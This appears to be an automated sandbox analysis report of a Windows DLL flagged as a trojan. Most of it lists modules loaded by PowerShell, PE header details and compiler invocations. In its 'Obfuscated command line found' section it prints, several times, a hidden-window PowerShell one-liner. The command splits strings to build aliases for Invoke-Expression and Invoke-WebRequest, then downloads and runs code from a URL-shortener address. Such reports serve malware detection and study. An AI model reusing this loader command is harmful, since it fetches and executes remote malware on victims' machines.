Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: avicap32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvfw32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: Image base 0x180000000 > 0x60000000

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: CallSite.Target.pdb source: powershell.exe, 0000000C.00000002.2027438756.000002463FF42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000007.00000002.2307369720.0000027CFCBAA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2029852639.000002463FFAA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: powershell.exe, 0000000C.00000002.2027438756.000002463FF42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000006.00000002.2101507687.00000215D3F44000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: b.pdb_ source: powershell.exe, 00000007.00000002.2311503621.0000027CFCF25000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ement.Automation.pdb00CI source: powershell.exe, 00000008.00000002.2087824475.00000233182F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ment.Automationlib.pdb source: powershell.exe, 00000008.00000002.2087824475.00000233182F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000006.00000002.2105792633.00000215D4021000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2026328567.000002463FF11000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source:	Binary string: scorlib.pdbpdblib.pdb source: powershell.exe, 0000000C.00000002.2027438756.000002463FF42000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: >C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Obfuscated command line found

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline"
